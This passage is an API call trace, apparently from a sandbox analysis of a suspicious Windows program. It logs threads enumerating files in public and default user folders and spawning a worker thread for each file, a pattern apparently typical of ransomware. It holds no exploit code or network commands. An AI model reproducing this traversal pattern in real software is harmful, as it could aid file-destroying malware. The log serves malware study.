_Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\" [0097.032] wcscat (in: _Dest=0x1b866640, _Source="MSN Sports.url" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url" [0097.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b866640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1064 [0097.033] FindNextFileW (in: hFindFile=0x1b858670, lpFindFileData=0x1cd61910 | out: lpFindFileData=0x1cd61910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0097.033] wcscmp (_String1="MSN.url", _String2=".") returned 1 [0097.033] wcscmp (_String1="MSN.url", _String2="..") returned 1 [0097.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b8646f0 [0097.034] wcscpy (in: _Dest=0x1b8646f0, _Source="C:\\Users\\Default\\Favorites\\MSN Websites" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites") returned="C:\\Users\\Default\\Favorites\\MSN Websites" [0097.034] wcscat (in: _Dest=0x1b8646f0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\" [0097.034] wcscat (in: _Dest=0x1b8646f0, _Source="MSN.url" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url" [0097.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8646f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1068 [0097.034] FindNextFileW (in: hFindFile=0x1b858670, lpFindFileData=0x1cd61910 | out: lpFindFileData=0x1cd61910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0097.034] wcscmp (_String1="MSNBC News.url", _String2=".") returned 1 [0097.035] wcscmp (_String1="MSNBC News.url", _String2="..") returned 1 [0097.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b867440 [0097.035] wcscpy (in: _Dest=0x1b867440, _Source="C:\\Users\\Default\\Favorites\\MSN Websites" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites") returned="C:\\Users\\Default\\Favorites\\MSN Websites" [0097.042] wcscat (in: _Dest=0x1b867440, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\" [0097.042] wcscat (in: _Dest=0x1b867440, _Source="MSNBC News.url" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url" [0097.042] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b867440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x106c [0097.043] FindNextFileW (in: hFindFile=0x1b858670, lpFindFileData=0x1cd61910 | out: lpFindFileData=0x1cd61910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0 [0097.043] FindClose (in: hFindFile=0x1b858670 | out: hFindFile=0x1b858670) returned 1 [0097.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd61910) returned 1 [0097.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c310) returned 1 [0097.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9cc70) returned 1 Thread: id = 630 os_tid = 0x10bc [0095.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x54) returned 0x1cd9c2b0 [0095.776] wcscpy (in: _Dest=0x1cd9c2b0, _Source="C:\\Users\\Default\\Favorites\\Windows Live" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live") returned="C:\\Users\\Default\\Favorites\\Windows Live" [0095.776] wcscat (in: _Dest=0x1cd9c2b0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live\\") returned="C:\\Users\\Default\\Favorites\\Windows Live\\" [0095.776] wcscat (in: _Dest=0x1cd9c2b0, _Source="*" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live\\*") returned="C:\\Users\\Default\\Favorites\\Windows Live\\*" [0095.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd61430 [0095.776] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\*", lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858eb0 [0096.044] wcscmp (_String1=".", _String2=".") returned 0 [0096.045] FindNextFileW (in: hFindFile=0x1b858eb0, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.045] wcscmp (_String1="..", _String2=".") returned 1 [0096.045] wcscmp (_String1="..", _String2="..") returned 0 [0096.045] FindNextFileW (in: hFindFile=0x1b858eb0, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1 [0096.045] wcscmp (_String1="Get Windows Live.url", _String2=".") returned 1 [0096.045] wcscmp (_String1="Get Windows Live.url", _String2="..") returned 1 [0096.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1cf4db60 [0096.045] wcscpy (in: _Dest=0x1cf4db60, _Source="C:\\Users\\Default\\Favorites\\Windows Live" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live") returned="C:\\Users\\Default\\Favorites\\Windows Live" [0096.045] wcscat (in: _Dest=0x1cf4db60, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live\\") returned="C:\\Users\\Default\\Favorites\\Windows Live\\" [0096.045] wcscat (in: _Dest=0x1cf4db60, _Source="Get Windows Live.url" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url") returned="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url" [0097.499] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4db60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x708 [0097.499] FindNextFileW (in: hFindFile=0x1b858eb0, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1 [0097.499] wcscmp (_String1="Windows Live Gallery.url", _String2=".") returned 1 [0097.499] wcscmp (_String1="Windows Live Gallery.url", _String2="..") returned 1 [0097.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b85c330 [0097.499] wcscpy (in: _Dest=0x1b85c330, _Source="C:\\Users\\Default\\Favorites\\Windows Live" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live") returned="C:\\Users\\Default\\Favorites\\Windows Live" [0097.499] wcscat (in: _Dest=0x1b85c330, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live\\") returned="C:\\Users\\Default\\Favorites\\Windows Live\\" [0097.499] wcscat (in: _Dest=0x1b85c330, _Source="Windows Live Gallery.url" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url") returned="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url" [0097.500] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85c330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x70c [0097.503] FindNextFileW (in: hFindFile=0x1b858eb0, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1 [0097.503] wcscmp (_String1="Windows Live Mail.url", _String2=".") returned 1 [0097.503] wcscmp (_String1="Windows Live Mail.url", _String2="..") returned 1 [0097.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202a5610 [0097.504] wcscpy (in: _Dest=0x202a5610, _Source="C:\\Users\\Default\\Favorites\\Windows Live" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live") returned="C:\\Users\\Default\\Favorites\\Windows Live" [0097.504] wcscat (in: _Dest=0x202a5610, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live\\") returned="C:\\Users\\Default\\Favorites\\Windows Live\\" [0097.504] wcscat (in: _Dest=0x202a5610, _Source="Windows Live Mail.url" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url") returned="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url" [0097.504] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x710 [0097.504] FindNextFileW (in: hFindFile=0x1b858eb0, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1 [0097.505] wcscmp (_String1="Windows Live Spaces.url", _String2=".") returned 1 [0097.505] wcscmp (_String1="Windows Live Spaces.url", _String2="..") returned 1 [0097.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202a56a0 [0097.505] wcscpy (in: _Dest=0x202a56a0, _Source="C:\\Users\\Default\\Favorites\\Windows Live" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live") returned="C:\\Users\\Default\\Favorites\\Windows Live" [0097.505] wcscat (in: _Dest=0x202a56a0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live\\") returned="C:\\Users\\Default\\Favorites\\Windows Live\\" [0097.505] wcscat (in: _Dest=0x202a56a0, _Source="Windows Live Spaces.url" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url") returned="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url" [0097.505] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a56a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x714 [0097.506] FindNextFileW (in: hFindFile=0x1b858eb0, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 0 [0097.506] FindClose (in: hFindFile=0x1b858eb0 | out: hFindFile=0x1b858eb0) returned 1 [0097.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd61430) returned 1 [0097.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c2b0) returned 1 [0097.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c7f0) returned 1 Thread: id = 631 os_tid = 0x10c0 [0095.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9c250 [0095.777] wcscpy (in: _Dest=0x1cd9c250, _Source="C:\\Users\\Public\\Music\\Sample Music" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music") returned="C:\\Users\\Public\\Music\\Sample Music" [0095.777] wcscat (in: _Dest=0x1cd9c250, _Source="\\" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music\\") returned="C:\\Users\\Public\\Music\\Sample Music\\" [0095.777] wcscat (in: _Dest=0x1cd9c250, _Source="*" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music\\*") returned="C:\\Users\\Public\\Music\\Sample Music\\*" [0095.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd611c0 [0095.777] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\*", lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858af0 [0095.956] wcscmp (_String1=".", _String2=".") returned 0 [0095.956] FindNextFileW (in: hFindFile=0x1b858af0, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.956] wcscmp (_String1="..", _String2=".") returned 1 [0095.956] wcscmp (_String1="..", _String2="..") returned 0 [0095.956] FindNextFileW (in: hFindFile=0x1b858af0, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0095.956] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0095.956] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0095.956] FindNextFileW (in: hFindFile=0x1b858af0, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be5ebf7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8064f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kalimba.mp3", cAlternateFileName="")) returned 1 [0095.956] wcscmp (_String1="Kalimba.mp3", _String2=".") returned 1 [0095.956] wcscmp (_String1="Kalimba.mp3", _String2="..") returned 1 [0095.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x1b7c22f0 [0095.956] wcscpy (in: _Dest=0x1b7c22f0, _Source="C:\\Users\\Public\\Music\\Sample Music" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music") returned="C:\\Users\\Public\\Music\\Sample Music" [0095.956] wcscat (in: _Dest=0x1b7c22f0, _Source="\\" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music\\") returned="C:\\Users\\Public\\Music\\Sample Music\\" [0095.956] wcscat (in: _Dest=0x1b7c22f0, _Source="Kalimba.mp3" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3") returned="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" [0097.601] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7c22f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdf0 [0097.601] FindNextFileW (in: hFindFile=0x1b858af0, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be5ebf7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3ec5d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maid with the Flaxen Hair.mp3", cAlternateFileName="MAIDWI~1.MP3")) returned 1 [0097.601] wcscmp (_String1="Maid with the Flaxen Hair.mp3", _String2=".") returned 1 [0097.601] wcscmp (_String1="Maid with the Flaxen Hair.mp3", _String2="..") returned 1 [0097.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b85c960 [0097.601] wcscpy (in: _Dest=0x1b85c960, _Source="C:\\Users\\Public\\Music\\Sample Music" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music") returned="C:\\Users\\Public\\Music\\Sample Music" [0097.602] wcscat (in: _Dest=0x1b85c960, _Source="\\" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music\\") returned="C:\\Users\\Public\\Music\\Sample Music\\" [0097.602] wcscat (in: _Dest=0x1b85c960, _Source="Maid with the Flaxen Hair.mp3" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3") returned="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" [0097.602] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85c960, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b4 [0097.603] FindNextFileW (in: hFindFile=0x1b858af0, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be38a97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sleep Away.mp3", cAlternateFileName="SLEEPA~1.MP3")) returned 1 [0097.603] wcscmp (_String1="Sleep Away.mp3", _String2=".") returned 1 [0097.603] wcscmp (_String1="Sleep Away.mp3", _String2="..") returned 1 [0097.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b86ec60 [0097.603] wcscpy (in: _Dest=0x1b86ec60, _Source="C:\\Users\\Public\\Music\\Sample Music" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music") returned="C:\\Users\\Public\\Music\\Sample Music" [0097.603] wcscat (in: _Dest=0x1b86ec60, _Source="\\" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music\\") returned="C:\\Users\\Public\\Music\\Sample Music\\" [0097.603] wcscat (in: _Dest=0x1b86ec60, _Source="Sleep Away.mp3" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3") returned="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" [0097.603] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86ec60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b0 [0097.604] FindNextFileW (in: hFindFile=0x1b858af0, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be38a97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sleep Away.mp3", cAlternateFileName="SLEEPA~1.MP3")) returned 0 [0097.604] FindClose (in: hFindFile=0x1b858af0 | out: hFindFile=0x1b858af0) returned 1 [0097.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd611c0) returned 1 [0097.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c250) returned 1 [0097.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c5d0) returned 1 Thread: id = 632 os_tid = 0x10c4 [0095.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1cd9c1f0 [0095.784] wcscpy (in: _Dest=0x1cd9c1f0, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures") returned="C:\\Users\\Public\\Pictures\\Sample Pictures" [0095.784] wcscat (in: _Dest=0x1cd9c1f0, _Source="\\" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\" [0095.784] wcscat (in: _Dest=0x1cd9c1f0, _Source="*" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\*") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\*" [0095.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x202600b0 [0095.784] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\*", lpFindFileData=0x202600b0 | out: lpFindFileData=0x202600b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858df0 [0095.957] wcscmp (_String1=".", _String2=".") returned 0 [0095.957] FindNextFileW (in: hFindFile=0x1b858df0, lpFindFileData=0x202600b0 | out: lpFindFileData=0x202600b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.957] wcscmp (_String1="..", _String2=".") returned 1 [0095.957] wcscmp (_String1="..", _String2="..") returned 0 [0095.957] FindNextFileW (in: hFindFile=0x1b858df0, lpFindFileData=0x202600b0 | out: lpFindFileData=0x202600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xd6b22, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chrysanthemum.jpg", cAlternateFileName="CHRYSA~1.JPG")) returned 1 [0095.957] wcscmp (_String1="Chrysanthemum.jpg", _String2=".") returned 1 [0095.957] wcscmp (_String1="Chrysanthemum.jpg", _String2="..") returned 1 [0095.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b79e6f0 [0095.957] wcscpy (in: _Dest=0x1b79e6f0, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures") returned="C:\\Users\\Public\\Pictures\\Sample Pictures" [0095.957] wcscat (in: _Dest=0x1b79e6f0, _Source="\\" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\" [0095.957] wcscat (in: _Dest=0x1b79e6f0, _Source="Chrysanthemum.jpg" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" [0097.773] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, 